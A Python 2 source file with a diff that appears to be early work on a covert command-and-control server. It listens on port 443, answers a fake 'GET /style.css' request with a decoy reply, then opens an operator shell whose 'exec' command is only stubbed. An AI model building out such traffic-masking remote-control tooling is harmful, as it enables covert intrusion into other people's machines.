#!/usr/bin/env python

import socket
import argparse
from datetime import datetime

SIZE = 1024


def get_args():
    """ Parse arguments and return dictionary. """

    parser = argparse.ArgumentParser()
    parser.add_argument('-p', '--port')
    return parser.parse_args()


def ctrl_shell_server(s, PORT):
    print '[+] ({}) Entering control shell.'.format(datetime.now())
    conn, addr = s.accept()
    while True:
        inp = raw_input('> ')
        if inp == 'exit':
            break
        print 'yay shell'
    conn.close()
    print '[+] ({}) Exiting control shell.'.format(datetime.now())


def main():
    args = get_args()
    PORT = int(args.port) if args.port else 443

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind(('', PORT))
    s.listen(1)

    print '[+] Perennial server started on {}.'.format(PORT)
    conn, addr = s.accept()
    print '[i] Connected By: {} at {}'.format(addr, datetime.now())
    ping = conn.recv(SIZE)
    if ping.startswith('GET /style.css HTTP/1.1'):
        with open('fakeOK.txt') as ok:
            conn.send(ok.read())
        conn.close()
        ctrl_shell_server(s, PORT)

if __name__ == '__main__':
    main()

@@ -16,16 +16,26 @@
 python%0A%0A
+import re%0A
 import s
@@ -338,38 +338,45 @@
 %7D) Entering 
-contro
+perennia
 l shell
-.
+ (psh)
 '.format(dat
@@ -432,16 +432,33 @@
 e True:%0A
+        try:%0A    
         
@@ -474,16 +474,20 @@
 _input('
+psh 
 %3E ')%0A   
@@ -491,16 +491,20 @@
         
+    
 if inp =
@@ -513,16 +513,20 @@
 'exit':%0A
+    
         
@@ -547,25 +547,470 @@
     
-print 'yay shell'
+    elif inp == '':%0A                continue%0A            elif inp == 'help':%0A                print 'commands:%5Cn  exec'%0A            elif inp.startswith('exec'):%0A                if re.search('%5Eexec (%22.+%22%5C )+$', inp + ' '):%0A                    print 'execing'%0A                else:%0A                    print 'usage: exec %22cmd1%22 %5B%22cmd2%22 %22cmd3%22 ...%5D'%0A            else:%0A                print 'psh: command not found'%0A        except KeyboardInterrupt:%0A            break
 %0A   

Add basic shell functionality